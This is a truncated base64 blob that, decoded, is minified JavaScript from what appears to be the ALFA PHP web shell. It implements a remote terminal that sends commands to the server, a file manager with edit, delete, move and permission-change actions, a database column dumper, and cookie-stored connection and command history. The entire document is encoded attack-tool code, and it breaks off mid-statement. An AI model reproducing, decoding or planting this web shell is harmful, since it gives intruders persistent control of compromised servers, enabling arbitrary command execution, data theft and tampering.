ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2FsZmFEZWxldGVDb25uZWN0VG9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3RvcnlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gYWxmYUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0sc2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gYWxmYUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbHVlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2FsZmFsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIgcj0iYT0iK2FsZmFiNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2FsZmFiNjQobCkrIiZhbGZhMT0iK2FsZmFiNjQoYSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2VfbnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIShhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGFsZmFDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yKCIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLGk9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJsaW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBhbGZhZ2V0RmxhZ3MoKXtkYXRhPSJhPSIrYWxmYWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIrYWxmYWI2NChjXykrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093blByb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHkoImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZWN0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24gYWxmYUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYoIiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKSYmKGFsZmFfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlIil8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGFsZmFGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdldC5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxhbGZhU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZpZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHMub25jbGljaz1mdW5jdGlvbigpe2FsZmFGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cmltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgsXz1lLmNsaWVudFk7YWxmYVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9YWxmYUdldExhc3RGb2xkZXJOYW1lKGUpKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldEF0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iYWxmYUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2xhc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGFsZmFfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksYWxmYV9mbV9pZD0wfWZ1bmN0aW9uIGFsZmFGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJweCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGFsZmFQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3IGZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6IixpPSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHRoZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbiI9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlcm0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZmlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hM